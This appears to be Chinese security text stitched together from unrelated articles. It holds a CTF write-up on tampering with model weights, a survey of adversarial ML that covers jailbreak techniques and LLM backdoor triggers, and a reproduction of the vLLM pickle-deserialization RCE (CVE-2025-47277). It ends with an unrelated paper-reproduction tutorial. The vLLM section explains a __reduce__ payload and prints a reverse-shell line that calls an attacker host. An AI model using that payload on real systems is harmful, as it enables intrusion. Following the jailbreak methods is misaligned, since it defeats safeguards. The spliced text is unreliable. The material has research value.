    • 代码/运行时完整性:在受控环境禁用或审计动态 hook 行为(如阻止注册 forward hook、限制运行时反射),并对推理进程与依赖做权限隔离与可观测审计。
  3. 模型层级加密
    • 对模型结构进行分析,定位安全相关或关键贡献的目标层,并按加密策略对这些目标层进行加密保护,从模型文件分发与部署环节提升关键层参数/结构的安全性,降低被篡改或被恶意利用的风险。可以参考联想全球安全实验室专利方案 CN120541862A 。

0x06 参考文献

1、TransformerLens. TransformerLens 文档(v2.16.1):生成式语言模型的机械可解释性库 [Web Page]. 检索于 https://transformerlensorg.github.io/TransformerLens/
2、Joshi, M., Nandi, P., & Chakraborty, T. (2025 年 9 月 19 日). SABER:基于跨层残差连接的安全对齐漏洞挖掘. arXiv. https://doi.org/10.48550/arXiv.2509.16060
3、专利 CN120541862A《模型加密方法、数据处理方法和电子设备》,公开日 2025-08-26

我们首先用一道题目来引出今天的话题。

0xGame 2025 Week4 - 旧吊带袜天使:想吃真蛋糕的Stocking

题目提供了一个基于PyTorch的CNN图像分类模型 SimpleDessertClassifier,用于识别三种类型的甜点:

模型结构:

卷积层: 提取图像特征(3→32→64→128通道)

自适应池化: 统一输出为7×7特征图

全连接层: 128×7×7 → 256 → 128 → 3(三类输出)

图片.png

在PyTorch的state_dict中,最后一层(输出层)的参数命名为:

'classifier.5.weight': 形状 (3, 128) - 权重矩阵

'classifier.5.bias': 形状 (3,) - 偏置向量

在app.py中的判断逻辑:

我们要想拿到flag必须满足一下条件

cake_confidence < 24 - 蛋糕的置信度小于24

poisoned_apple_confidence > cake_confidence - 毒苹果置信度大于蛋糕置信度

模型上传接口

检查了文件扩展名,使用了weights_only加载,但是没有验证模型参数的合理性,这就是漏洞点。

根据PyTorch官方文档,load_state_dict要求:

键名必须完全匹配

张量形状必须完全匹配

这使得我们可以精确控制模型参数,特别是输出层的参数。

核心思路

1CNN卷积层和中间层难以预测和控制

2但输出层(最后一个Linear层)直接影响三个类别的logits输出

3通过操纵输出层的weight和bias,可以直接控制各类别的置信度

数学原理:

如果我们设:

weight = 0 (全零矩阵)

bias = [-10.0, 10.0, 0.0]

则:

Cake logit ≈ -10.0 (置信度极低)

Poisoned Apple logit ≈ 10.0 (置信度极高)

Other logit ≈ 0.0 (置信度中等)

这样就满足了获取flag的条件。

神经网络输出层机制

在PyTorch中,未经softmax的输出称为logits:

Softmax转换:

当差异较大时:

logit_poison = 10.0 → exp(10) ≈ 22026

logit_cake = -10.0 → exp(-10) ≈ 0.000045

poison_confidence ≈ 99.99%

cake_confidence ≈ 0.0002%

满足 cake_confidence < 24 和 poisoned_apple_confidence > cake_confidence。

exp

图片.png

第一次遇到模型污染攻击的题目,我们来总结一下AI样本对抗的一些内容和知识点。

一、对抗性威胁

1.1 问题背景

2014年,Szegedy等人首次发现了一个令人震惊的现象:深度神经网络对输入数据的微小扰动异常敏感[1]。通过在图像上添加精心设计的扰动,这些扰动在人类观察者看来几乎不可察觉,却能让分类器的准确率从90%以上骤降至接近0%。这一发现揭开了对抗性机器学习研究的序幕。

图片.png

更令人担忧的是,对抗样本具有迁移性(Transferability)——在某一个模型上生成的对抗样本,往往能够成功攻击其他架构完全不同的模型。这一特性使得对抗攻击在实际应用场景中构成严重威胁。

1.2 现实威胁案例

自动驾驶系统:研究者通过在停车标志上添加精心设计的贴纸,成功欺骗目标检测模型将其识别为限速标志[2]。这种物理对抗攻击直接威胁道路交通安全。

图片.png

人脸识别系统:通过佩戴特殊设计的眼镜框,攻击者可以绕过基于深度学习的人脸验证系统[3]。这种对抗性眼镜的图案对人类观察者而言只是普通的装饰,但对神经网络而言却是致命的扰动。

恶意软件检测:对抗样本技术已被应用于恶意PDF文件的生成,使得能够绕过基于机器学习的检测系统[4]。这表明对抗性威胁不仅限于视觉领域。

1.3 对抗样本的定义

图片.png

二、对抗样本的产生机理

2.1 线性假设解释

图片.png

2.2 决策边界理论

从决策边界(Decision Boundary)的角度看,对抗样本反映了模型决策边界的扭曲特性。在高维空间中,决策边界的复杂度远超人类直觉。

研究表明,深度神经网络的决策边界呈现出"指状突起"(Finger-like protrusions)结构[6]。这些细长的突起深入到各个类别的区域,使得在任何数据点附近都存在通往其他类别的低扰动路径。

2.3 流形视角

另一种解释基于数据流形(Manifold)理论。自然图像在高维像素空间中实际上分布在一个低维流形上。深度神经网络学习的是这个流形上的概率分布。

对抗样本位于流形之外,但非常接近流形表面。模型在流形之外的区域行为不可控,容易被扰动误导。这类似于"分布外泛化"(Out-of-Distribution Generalization)问题。

三、经典攻击算法详解

3.1 梯度类攻击方法

3.1.1 FGSM(Fast Gradient Sign Method)

FGSM是最早的一阶攻击方法,由Goodfellow在2015年提出[5]。核心思想是沿损失函数的梯度方向进行最大化扰动:

图片.png

图片.png

FGSM的优势:

计算高效,仅需一次前向和反向传播

扰动可控

在黑盒场景下具有较好的迁移性

局限性:

单步攻击容易被对抗训练防御

扰动幅度受限时成功率较低

3.1.2 I-FGSM(Iterative FGSM)

I-FGSM通过多次迭代应用FGSM,每次迭代使用较小的步长:

图片.png

I-FGSM显著提升了攻击成功率,但迁移性有所下降。

3.1.3 MI-FGSM(Momentum I-FGSM)

为提升迁移性,Dong等人引入动量机制

图片.png

动量机制有助于:

跨越局部极值

稳定优化方向

提升不同模型间的迁移性

3.1.4 PGD(Projected Gradient Descent)

PGD被Madry等人视为对抗鲁棒性的"基准攻击"[8]。算法框架:

PGD的关键创新在于随机初始化,这使得攻击能从不同起始点探索决策边界,显著增强了攻击效果。Madry等人证明,对抗训练若能防御PGD攻击,通常也能防御其他一阶攻击。

3.2 优化类攻击方法

3.2.1 C&W攻击(Carlini & Wagner Attack)

Carlini和Wagner提出的优化攻击[9]被认为是当时最强的白盒攻击方法。核心思想是将对抗样本构造转化为约束优化问题

图片.png

图片.png

C&W攻击的三种变体:

C&W L0:最小化修改像素数量

C&W L2:最小化欧氏距离

C&W L∞:最小化最大像素变化

C&W攻击突破了当时多数防御方法,包括 Defensive Distillation(防御蒸馏)。

图片.png

3.2.2 EAD(Elastic-Net Attack to DNNs)

Chen等人提出基于Elastic Net正则化的优化框架

图片.png

3.3 黑盒攻击方法

3.3.1 基于迁移性的黑盒攻击

利用对抗样本的迁移特性,攻击者可以在本地模型上生成对抗样本,直接用于攻击远程目标模型。

提升迁移性的策略:

使用集成模型(Ensemble)作为替代模型

引入数据增强(Data Augmentation)

使用动量机制稳定优化

3.3.2 基于查询的黑盒攻击

当无法获得目标模型的梯度信息时,可采用基于优化的查询方法。

NES(Natural Evolutionary Strategy)攻击
通过自然进化策略估计梯度:

图片.png

Boundary Attack
从随机噪声出发,沿决策边界逐步逼近目标样本,保持对抗性同时减小扰动。

SPSA(Simultaneous Perturbation Stochastic Approximation):
使用同时扰动随机近似估计梯度,每次仅需两次查询即可获得梯度估计。

3.4 物理对抗攻击

3.4.1 数字域到物理域的挑战

将数字域对抗样本应用到物理世界面临两大挑战:

1 光照变化:拍摄条件的变化导致实际输入与预期不一致

2 视角变换:拍摄角度影响对抗扰动的作用

3.4.2 典型物理攻击方法

RP2(Robust Physical Perturbations)[13]:
通过在不同光照和角度下优化,生成具有物理鲁棒性的对抗贴纸。关键是在优化过程中引入环境变化的模拟:

图片.png

对抗性补丁(Adversarial Patches)[14]:
Brown等人提出生成任意形状的图像补丁,无论贴在图像何处都能触发攻击。优化目标是:

图片.png

通过期望-最大化(Expectation-Maximization)算法求解。

四、新兴攻击前沿

4.1 针对Transformer的对抗攻击

Vision Transformer(ViT)的兴起带来了新的攻击向量。研究表明,ViT的自注意力机制(Self-Attention)存在特殊脆弱性[15]。

Patch-wise攻击:
不同于CNN的像素级攻击,ViT的对抗扰动可以针对Image Patch层面构造:

图片.png

Token级扰动:
在语言模型中,针对输入Token的嵌入向量进行优化,而非原始文本。

4.2 视觉-语言多模态攻击

大型视觉-语言模型(如CLIP、GPT-4V)的对抗研究成为热点[16]。

跨模态迁移攻击:
利用图像和文本模态间的对齐关系,通过修改一模态影响另一模态的表征:

图片.png

链式攻击(Chain of Attack)
CVPR 2025的研究表明,VLM比单一语言模型更易受攻击,原因在于视觉模态对细微扰动的敏感性。攻击策略为:

1在图像空间生成对抗扰动

2通过视觉编码器传递到联合嵌入空间

3影响跨模态注意力机制

4最终导致语言输出错误

4.3 后门攻击(Backdoor Attack)

后门攻击不同于前述的对抗样本,它在训练阶段植入恶意行为。

触发器设计:
常见的触发器模式:

图像角落的特定图案

隐写术嵌入的隐蔽信号

语义级触发(如"特定物体+特定背景")

BadNets攻击
通过在训练集中注入带触发器的样本,使得模型在测试时遇到触发器即输出攻击者指定的类别。

隐式后门攻击:
使用正则化方法使后门激活模式与正常激活模式难以区分:

图片.png

4.4 数据投毒攻击

数据投毒攻击通过污染训练数据来植入后门或降低模型性能。

标签翻转攻击:
将部分训练样本标签改为错误类别,导致决策边界偏移。

清洁标签攻击
更隐蔽的方法,保持标签正确但选择靠近决策边界的困难样本进行微小扰动:

图片.png

4.5 图像对抗样本的不可感知性度量

为了更精确地量化对抗扰动的不可感知性,研究者提出了多种度量方法:

图片.png

五、大语言模型对抗攻击

随着ChatGPT、GPT-4等大语言模型的广泛应用,LLM的对抗安全问题成为研究热点。与传统CV领域的对抗样本不同,LLM面临独特的挑战和攻击方式。

5.1 LLM对抗攻击的特点

离散输入空间:
语言模型的输入是离散的token序列,无法直接应用连续优化方法:
图片.png

语义约束强:
扰动后的文本必须保持语法正确和语义连贯,这比图像扰动约束更强。

黑盒场景为主:
大多数LLM通过API提供服务,攻击者只能访问输入输出接口。

5.2 提示注入攻击(Prompt Injection)

提示注入是目前LLM面临的最严重安全威胁之一。

直接注入:
通过精心设计的提示词覆盖系统指令:

间接注入:
将恶意指令隐藏在看似正常的内容中:

多轮注入:
通过多轮对话逐步引导模型突破安全限制:

形式化定义
图片.png

5.3 对抗性提示生成

基于优化的方法:

GCG(Greedy Coordinate Gradient)
通过贪婪坐标梯度搜索最优后缀扰动:

算法框架:

基于搜索的方法:

遗传算法
将提示词视为基因序列,通过变异、交叉、选择进化:

变异:随机替换token或同义词替换

交叉:组合两个成功的提示词片段

选择:保留攻击成功率高的个体

强化学习方法:
将对抗提示生成建模为序列决策问题:

图片.png

5.4 越狱攻击(Jailbreaking)

越狱攻击旨在绕过LLM的安全护栏。

角色扮演攻击:
通过设定角色场景规避安全限制:

翻译攻击:
利用语言差异绕过过滤器:

将恶意请求翻译为低资源语言

通过LLM处理后再翻译回原语言

某些语言的语义表达可能未被安全训练充分覆盖

编码攻击:
将指令编码为特殊形式:

Base64编码

ASCII/Unicode字符

摩斯电码

凯撒密码

示例:

组合攻击:
结合多种技术的混合攻击:

1使用角色扮演设定上下文

2通过编码隐藏真实意图

3利用多轮对话逐步引导

4添加干扰token迷惑检测器

5.5 LLM后门攻击

触发器植入:
在训练阶段或微调阶段植入后门:

特定词触发:
在输入中包含特定关键词时触发恶意行为:
$$P(恶意输出 | 输入 + 触发词) approx 1$$

句法结构触发:
特定的句子结构触发后门:

隐式触发
使用难以察觉的触发器,如:

特殊标点符号组合

文本末尾的空白字符

Unicode零宽字符

训练数据投毒:
图片.png

5.6 针对RAG系统的对抗攻击

检索增强生成(RAG)系统的攻击向量:

检索阶段攻击:
构造文档使得被错误检索:
图片.png

生成阶段攻击:
在被检索的恶意文档中植入误导信息,使LLM生成错误内容。

多跳推理攻击:
针对需要多步推理的RAG系统,在某个中间步骤注入错误信息,影响最终结论。

5.7 LLM对抗攻击评估

攻击成功率:
图片.png

查询效率:
平均需要的查询次数或轮次。

文本质量:
评估对抗提示的自然度和流畅度,使用:

困惑度(Perplexity)

人工评估

GPT-4等作为裁判

覆盖度:
攻击方法对不同类型任务的有效性:

代码生成

有害内容生成

隐私信息泄露

虚假信息传播

六、扩散模型与生成式AI的对抗研究

生成式AI的快速发展带来了新的安全挑战。扩散模型作为当前最强大的生成模型,其对抗性研究成为前沿方向。

6.1 扩散模型原理回顾

图片.png

6.2 针对扩散模型的对抗攻击

6.2.1 图像到图像生成的对抗攻击

文本引导图像编辑攻击[35]:
通过对抗性文本提示生成恶意图像:

目标优化:
$$max_{delta} mathbb{E}[ ext{损失函数}( ext{生成图像}, ext{目标属性})]$$

例如:

潜在空间对抗扰动:
在扩散模型的潜在空间注入扰动:
图片.png

影响后续的去噪过程,导致生成偏离预期。

6.2.2 针对图像生成的不可见水印攻击

水印移除攻击:
通过添加精心设计的扰动移除生成图像中的水印:

图片.png

水印伪造攻击:
在真实图像中添加伪造的水印,使其被误判为AI生成。

6.2.3 反向攻击与隐私窃取

成员推断攻击:
判断某样本是否在训练集中:
图片.png

训练数据提取[36]:
通过逆向扩散模型恢复训练数据:

攻击算法:

模型反演:
从模型输出恢复敏感训练信息,特别是人脸等敏感数据。

6.3 生成对抗网络的对抗性研究

6.3.1 GAN的脆弱性分析

图片.png

6.3.2 模型窃取攻击

图片.png

6.4 生成式AI的防御策略

6.4.1 对抗训练 for 生成模型

鲁棒去噪器训练:
图片.png

防御性蒸馏:
使用高温蒸馏平滑生成模型的决策边界。

6.4.2 水印与版权保护

不可见水印技术[37]:

基于频域的鲁棒水印:

1将水印嵌入到图像的DCT/DWT系数中

2水印对常见的图像处理具有鲁棒性

3可通过统计检测验证水印存在

基于优化的水印:
图片.png

神经网络水印:
在模型参数中嵌入水印:

触发器集:特定输入产生特定输出

参数 embedding:将水印编码到权重矩阵

6.4.3 生成内容检测

基于检测器的识别:
图片.png

特征包括:

频域统计特征

局部纹理模式

深度特征异常

零样本检测:
利用零样本学习无需训练即可检测:

计算图像在CLIP等模型中的特征分布异常

使用困惑度等指标

多模态检测:
图片.png

6.5 AIGC安全事件与伦理讨论

Deepfake与虚假信息:

政治人物视频伪造

商业诈骗

个人名誉损害

版权侵权争议:

AI训练数据的合法性

生成内容的版权归属

风格模仿的法律边界

内容审核挑战:

海量生成内容的审核难度

跨平台监管的复杂性

技术对抗与军备竞赛

七、深度对抗鲁棒性理论分析

7.1 对抗样本的几何视角

7.1.1 决策边界的曲率分析

从微分几何角度,决策边界的曲率决定了对抗样本的易攻击性。

图片.png

研究表明,深度神经网络的决策边界具有极大的负曲率区域,导致对抗样本的存在。

7.1.2 决策边界的分形维度

决策边界的盒计数维度(Box-counting Dimension):

图片.png

实验表明,深度神经网络的决策边界维度接近输入空间维度,这是对抗样本存在的根本原因之一。

7.1.3 余度假设与线性可分性

余度假设(Excess Capacity Hypothesis):
神经网络参数数量远超训练样本数,导致存在大量决策边界可实现零训练误差。

图片.png

高VC维意味着模型可以记忆训练数据而非学习泛化规律,决策边界在数据点之间扭曲形成对抗样本。

7.2 泛化理论与鲁棒性

7.2.1 泛化界与鲁棒性

图片.png

7.2.2 分布鲁棒优化

图片.png

7.3 信息论视角

7.3.1 互信息与特征学习

图片.png

7.3.2 信息瓶颈的鲁棒性解释

图片.png

从信息论角度,对抗样本的存在是因为模型学习了对分类任务无关的特征。IB理论表明,最优表示应该丢弃输入中的"噪声"(包括对抗扰动),只保留与任务相关的信息。

7.4 对抗样本的因果解释

7.4.1 相关性与因果性

传统深度学习学习的是特征与标签之间的统计关联,而非因果关系。

虚假相关(Spurious Correlation):
例如:训练集中"雪地"背景与"狼"标签高度相关,导致模型对"雪地上的哈士奇"误分类。

对抗样本利用了这些虚假相关特征。

7.4.2 因果表示学习

图片.png

7.5 可证明的鲁棒性下界

7.5.1 准确率-鲁棒性权衡的理论分析

图片.png

7.5.2 神经正切核(NTK)视角

图片.png

NTK理论表明:

标准训练的模型在数据点附近拟合迅速

但在远离数据点的区域泛化能力差

对抗样本恰好位于训练数据流形的"空隙"中

八、端到端实战案例

本章节通过具体案例展示对抗样本攻防的完整流程,从代码实现到结果分析。

8.1 图像分类模型对抗攻击实战

8.1.1 环境准备

图片.png

8.1.2 加载预训练模型

8.1.3 FGSM攻击实现

8.1.4 PGD攻击实现

8.1.5 C&W攻击实现

8.1.6 可视化对比

8.2 对抗训练完整流程

8.2.1 基础对抗训练

8.2.2 TRADES对抗训练

8.3 LLM对抗攻击实战

8.3.1 提示注入攻击示例

8.3.2 GCG攻击算法实现

8.4 扩散模型对抗攻击

8.5 攻击效果评估与对比

图片.png图片.png

九、评估指标与基准

9.1 攻击能力评估

图片.png

9.1.2 扰动幅度

图片.png

9.1.3 查询复杂度(Query Complexity)

图片.png

9.1.4 迁移性

图片.png

9.2 防御能力评估

9.2.1 鲁棒准确率(Robust Accuracy)

图片.png

9.2.2 准确率-鲁棒性权衡

图片.png

9.2.3 认证半径(Certified Radius)

图片.png

9.3 常用数据集

数据集

任务

规模

对抗研究特点

MNIST

手写数字

60K训练/10K测试

入门基准,易防御

CIFAR-10

物体分类

50K训练/10K测试

标准测试集

ImageNet

大规模分类

1.2M训练/50K验证

真实场景基准

TinyImageNet

小规模ImageNet

100K训练/10K测试

计算效率折中

SVHN

门牌号识别

73K训练/26K测试

数字识别场景

9.4 自动化评估工具

Foolbox:
Python库提供统一接口实现多种攻击算法:

ART(Adversarial Robustness Toolbox):
IBM开发的对抗鲁棒性工具箱,提供攻击、防御、评估的完整流程。

CleverHans:
Goodfellow等人开发的早期对抗攻击库,提供FGSM、JSMA等经典算法实现。

十、开放问题与未来方向

10.1 准确率与鲁棒性的根本矛盾

经验表明,提升模型鲁棒性往往以牺牲标准准确率为代价。Schmidt等人从信息论角度证明,在高维数据分布下,实现高准确率和高鲁棒性需要指数级样本复杂度[30]。

这提示可能需要:

新的学习范式:超越纯监督学习

先验知识注入:利用人类视觉先验

因果推理:从相关性转向因果性

10.2 大模型的对抗鲁棒性

随着GPT-4、CLIP等大模型的兴起,新问题涌现:

计算成本:对大模型进行PGD攻击或对抗训练计算开销巨大。研究方向:

参数高效微调(PEFT)结合对抗训练

LoRA(Low-Rank Adaptation)在对抗场景的应用

梯度累积与分布式优化

黑盒迁移攻击:大模型API只提供输入输出接口,如何设计高效查询攻击?

10.3 生成式AI的对抗问题

扩散模型(Diffusion Models)和生成对抗网络(GAN)的对抗研究:

扩散模型反向攻击:
通过优化去噪过程,从模型中恢复训练数据隐私。

生成模型的版权保护:
对抗水印技术保护生成内容不被盗用。

10.4 多模态与联邦学习的安全性

跨模态对抗传播:
视觉-语言-音频多模态模型中,一模态的扰动如何影响其他模态?

联邦对抗学习:
在分布式训练场景下,如何防御恶意客户端的对抗性投毒?

10.5 可证明鲁棒性

现有的经验性防御(如对抗训练)只能提供经验保证。研究方向:

形式化验证:
使用SMT求解器对小型网络进行精确验证。

凸松弛:
将非线性激活函数凸化,得到鲁棒性的可证明上界。

随机平滑扩展:
将随机平滑理论扩展到更复杂的数据分布和网络架构。

10.6 对抗样本的双重性研究

最新研究开始探索对抗样本的积极意义:

数据增强:
利用对抗样本扩充训练集,提升模型泛化能力。

可解释性:
对抗样本揭示模型决策逻辑,帮助理解黑盒模型。

对抗性调试:
通过生成对抗样本发现模型缺陷,指导改进。

10.7 2023-2025最新研究进展

10.7.1 自动对抗攻击(AutoAttack)[39]

Croce和Hein提出的AutoAttack是一个自适应攻击框架,自动选择最优攻击组合:

核心思想:

使用多种攻击方法(APGD-CE, APGD-DLR, FAB, Square)

通过自适应策略选择最有效的攻击

提供更可靠的鲁棒性评估

算法流程:

10.7.2 对抗性微调(Adversarial Fine-tuning)[40]

针对预训练大模型的对抗性微调方法:

方法:

在预训练模型基础上进行对抗性微调

使用较小的学习率和扰动预算

仅微调部分层(如最后几层或注意力层)

优势:

降低计算成本

保留预训练知识

提升下游任务的鲁棒性

10.7.3 基于提示的防御(Prompt-based Defense)[41]

针对LLM的防御新方法:

系统提示工程:

红队测试(Red Teaming):

组建专业红队进行对抗性测试

使用自动化工具生成对抗样本

建立攻击-防御迭代循环

10.7.4 多模态对抗研究进展

CLIP模型的脆弱性[42]:
研究发现视觉-语言预训练模型对特定扰动高度敏感:

视觉扰动向文本空间的迁移

跨模态对抗样本的构造

零样本分类的鲁棒性分析

扩散模型的鲁棒性[43]:
针对Stable Diffusion等模型的攻击:

10.7.5 物理对抗攻击新进展

3D打印对抗物体[44]:
通过3D打印生成物理对抗物体:

优化物体的3D几何结构

考虑不同光照和角度

实际测试验证攻击效果

对抗性纹理(Adversarial Textures):
将对抗扰动应用到现实世界的纹理:

服装图案

车辆涂装

建筑外观

10.7.6 量子计算与对抗鲁棒性

新兴研究方向:

量子对抗攻击:
利用量子算法加速对抗样本生成:

量子梯度估计

量子优化算法(QAOA)

量子机器学习模型的鲁棒性

后量子密码学与AI安全:

抗量子攻击的神经网络

量子密钥分发与模型保护

10.7.7 对抗样本的法律与伦理框架

监管政策:

欧盟AI法案对对抗鲁棒性的要求

NIST AI风险管理框架

ISO/IEC AI安全标准

负责任的AI开发:

对抗鲁棒性作为AI安全指标

红队测试作为标准流程

透明度和可解释性要求

十一、实践建议与最佳实践

11.1 对抗训练实施指南

11.1.1 基础配置

11.1.2 高级技巧

早期停止(Early Stopping):
监控验证集鲁棒准确率,避免过拟合。

课程学习(Curriculum Learning):
图片.png

自适应攻击强度:
根据当前模型鲁棒性动态调整epsilon。

附录:快速参考

A.1 主要攻击算法对比

算法

类型

复杂度

成功率

迁移性

适用场景

FGSM

单步梯度

O(1)

快速测试

I-FGSM

迭代梯度

O(T)

标准攻击

MI-FGSM

动量迭代

O(T)

中-高

迁移攻击

PGD

投影梯度

O(T)

鲁棒训练

C&W

优化

很高

强力攻击

NES

黑盒估计

O(N×T)

N/A

黑盒攻击

A.2 主要防御方法对比

方法

准确率影响

鲁棒性

计算开销

可证明性

对抗训练

中等

TRADES

较小

随机平滑

较大

IBP

较小

输入变换

较小

A.3 常用扰动预算值

漏洞描述

CVE-2025-47277 是 vLLM 项目中的一个 远程代码执行(RCE)漏洞,源于其使用PyNcclPipe模块时,未经验证地反序列化来自网络的数据,攻击者可通过构造恶意 pickle 数据包,在服务器端执行任意代码。该漏洞严重性等级为 Critical。

影响范围

条件

说明

影响版本

vLLM >= 0.6.5 且 < 0.8.5

影响模块

VLLMEngineV0

引擎中启用的PyNcclPipe

KV 缓存传输机制

受影响部署模式

多节点分布式部署,KV 节点暴露在公网或未限制访问

不受影响

使用 VLLMEngineV1、新版 NCCL 后端或未启用 KV 传输的单机部署

漏洞环境搭建

可以在本地搭建一个复现环境:

Python ≥ 3.8

vLLM == 0.8.3(或受影响版本)

PyTorch

代码解读

PyNcclPipe:vLLM 的分布式 KV 缓存传输模块,用于节点之间传输 tensor 数据。

KVTransferConfig:用于配置 KV 缓存传输参数,例如端口、IP、rank 等

kv_ip:本地监听 IP,接收其他节点发来的 tensor 数据。127.0.0.1 代表只监听本地(攻击时需开放公网 IP)。

kv_port:网络监听端口(服务端口),攻击者通过该端口发送恶意数据。

kv_rank:当前节点在分布式系统中的编号,0 表示主节点。

kv_parallel_size:并行传输的节点数量,这里设为 1,表示单连接通信。

kv_buffer_size:每次接收 tensor 的 buffer 大小。

kv_buffer_device:buffer 存储设备,设为 "cpu" 表示张量数据缓存在 CPU 上。

创建一个 PyNcclPipe 对象,它封装了底层 TCP 通信逻辑,用于从其他节点接收数据。local_rank=0 表示当前节点在通信中的本地编号。

这是漏洞的触发点!recv_tensor() 内部会调用 recv_obj() 来从 socket 中接收序列化对象。

漏洞分析

成因点

描述

不安全反序列化

recv_obj()中使用pickle.loads()对用户发送的序列化数据直接反序列化,无身份校验或数据校验。

网络暴露配置缺陷

PyTorch 的TCPStore默认监听0.0.0.0,vLLM 用户配置--kv-ip也未能强制绑定私有 IP。

内网信任假设过强

vLLM 设计默认内网环境可信,缺乏防御恶意内部节点或入侵者横向移动的保护措施。

在pynccl_pipe.py中调用了recv_obj()方法

而recv_obj()方法中刚好对传入的字符串进行pickle反序列化

漏洞复现

攻击脚本

代码分段解读:

这里引入 StatelessProcessGroup,这是 vLLM 中用于节点间通信的一个工具类,封装了 TCP 通信逻辑。

这是攻击的核心:

__reduce__() 是 Python pickle 模块在反序列化对象时调用的特殊方法。它的返回值告诉 pickle.loads() 如何还原一个对象。这里它返回的是 (os.system, ('whoami',)),反序列化时会执行 os.system('whoami')。这里可以把 'whoami' 换成任意命令,例如 bash -i >& /dev/tcp/attacker_ip/port 0>&1 以反弹 shell。

这行代码创建了一个客户端通信节点:host:目标服务监听地址(本地测试用 127.0.0.1),port:目标服务监听端口(通常为服务端的 KV 服务端口),rank:当前通信节点的编号(1 表示攻击节点),world_size:分布式训练的总节点数(2 表示 2 个节点通信)

这个接口实际上是将攻击者作为一个“合法”节点加入通信组。

通过 send_obj() 向 rank=0 的节点发送序列化后的 Evil 对象。服务端在执行 recv_obj() 时,会执行 pickle.loads() 对这个对象反序列化。从而触发 Evil.__reduce__(),间接调用 os.system('whoami')。

运行后,目标机器会执行whoami命令,在实战环境下可以反弹shell

漏洞修复

vLLM 在 0.8.5 版本中已修复此漏洞:

修复内容:

强制TCPStore使用指定私有地址进行绑定(防止监听所有接口)

改进通信逻辑,防止未经校验的pickle.loads被直接调用

防护建议:

升级 vLLM 至 ≥ 0.8.5

使用防火墙阻止来自不受信任源的连接(如仅允许 10.x 或 192.168.x IP)

切换到 V1 引擎,其不使用该模块

使用安全消息格式(如 JSON、protobuf),禁止pickle用于跨网络通信

参考文章

github.com:https://github.com/vllm-project/vllm/security/advisories/GHSA-hjq4-87xh-g4fv

github.com:https://github.com/vllm-project/vllm/pull/15988

github.com:https://github.com/vllm-project/vllm/commit/0d6e187e88874c39cda7409cf673f9e6546893e7

docs.vllm.ai:https://docs.vllm.ai/en/latest/deployment/security.html

手把手教你进行论文复现,小白也能学会,赶紧收藏

复现,是你迈入“真科研”的第一步。
你是不是常常看见学术圈或技术论坛中大家提到“论文复现”这个词,却不太明白它的含义?
别急!这篇超详细的实操指南,从“是什么” 到 “怎么做”,再到 “避坑技巧”,手把手带小白走完第一次论文复现,赶紧收藏起来慢慢看~

什么是“复现”?

复现≠复制粘贴!它是用原作者公开的技术细节、实验步骤、代码仓库和数据集,自己动手重新实现,验证论文结果是否可重复的过程。
简单说,就是跟着论文的“说明书”,亲自跑一遍实验,既能吃透论文核心逻辑,又能练编程、调参技能,还能检验研究成果的可靠性,毕竟学术研究的本质就是“可验证、可推广”。

为什么要做论文复现?

1. 深入理解核心技术

复现的最大好处是能够从理论层面走向实践。光看论文中的理论、公式和结果可能无法完全理解其背后的实现细节,而亲自动手复现,可以让你更好地理解技术原理。

2. 检验研究成果的可靠性

论文中的研究结果,未必在其他环境下也能复现,尤其是涉及到数据集和模型训练等因素时。通过复现,我们可以验证这些结果是否具有普适性。

3. 累积实战经验

复现过程是一个实战的过程,尤其是在深度学习和机器学习、大模型领域,实验中的调参、数据处理、模型选择等都会是你宝贵的经验。对科研人员来说,复现一些经典论文是最直接的学习方式。

手把手教你做第一个复现项目

复现论文并不是一件容易的事,但只要你掌握了方法,逐步进行,也能顺利完成。接下来我们以《PhotoDoodle: Learning Artistic Image Editing from Few-Shot Examples》这篇论文为例,借助大模型实验室Lab4AI平台,带你从头开始复现

Step 1 找到合适的论文和代码

复现的第一步是找到值得复现且能复现的论文和代码。大多数论文会将其代码发布在GitHub或其他平台上,因此你需要阅读论文,并且找到代码仓库的链接,链接通常附加在论文末尾或摘要部分。找到论文提供的GitHub开源代码后,你需要查看项目中是否有清晰的README文件,介绍如何配置环境、安装依赖、运行代码等。

这里分享5个筛选项目的关键技巧,总结为“三查”核心原则:查信息完整性、查代码一致性、查资源可行性,帮你快速避坑:

  • 完整信息性:优先选择开源项目,尤其是原作者主动公开代码仓库、数据集,这种项目复现难度较低。同时,选择项目时优先关注项目活跃度、检查Star数、Fork数、更新频率、issue解决率等。一般情况下数值越高,说明社区认可度高、维护更及时,遇到问题更容易找到解决方案;
  • 代码一致性:检查代码和论文的实现是否一致。如果有问题,可以参考GitHub上的Issues查看是否有人遇到类似问题。
  • 资源可行性:检查项目是否提供完整依赖清单、数据集及模型下载链接。如果作者未提供,你可能需要额外花费大量时间寻找适配资源。


在《PhotoDoodle》这篇论文中,GitHub上的代码仓库包含了与艺术图像编辑相关的实现,README有详细的项目介绍,包括了从少量样本中学习艺术风格的代码。需要重点关注以下几个部分:

  • 项目概述:了解这篇论文的核心思想,确认复现的目标。
  • 环境配置:确认环境依赖是否满足你的系统,查看Python、CUDA和其他必需库的版本。
  • 训练与推理代码:观察代码是否完整,并分析如何通过代码进行图像编辑任务,特别是如何加载预训练模型、微调模型、以及如何用少量图像进行训练。

Step 2 配置环境并安装依赖

本次我们选用大模型实验室Lab4AI来进行复现,平台提供灵活计费的H卡算力,闲时使用更优惠。您也可以使用本地资源或者实验室资源,进行本次复现

打开大模型实验室Lab4AI,登录大模型实验室Lab4AI平台。点击右侧“新建实例”,新建前建议先查看“GitHub项目的文档”的环境配置说明。

Step 3 下载代码

新建实例后,先下载论文代码,推荐4种常用方式:

  • 第一种:通过HTTPS方式。通过网页URL链接克隆,无需额外配置密钥,是最常用的方式;
  • 第二种:通过SSH方式。通过SSH密钥认证克隆,需通过SSH密钥认证克隆提前在GitHub账号绑定本地SSH密钥,更安全且无需重复输入密码;
  • 第三种:通过GitHub CLI方式。通过GitHub官方命令行工具克隆,需先安装并登录该工具,适合习惯命令行操作的用户;
  • 第四种:直接下载项目压缩包,不需要Git工具即可获取代码。

Step 4 配置环境

环境配置是复现的“重头戏”,按以下步骤操作,少踩 90% 的坑:

(1) 创建独立虚拟环境,这样能够避免依赖冲突:

conda create -n doodle python=3.11.10
# 创建环境

conda activate doodle
# 激活环境

(2) 安装PyTorch与项目依赖

使用 cd 命令进入代码所在文件夹,再分两步安装。根据GitHub说明,通过pip安装所需的PyTorch及所有依赖。如果网络环境受限,可以选择国内的镜像源(如清华镜像)来加速下载:

pip install torch==2.5.1 torchvision==0.20.1 torchaudio==2.5.1 --index-url https://download.pytorch.org/whl/cu124
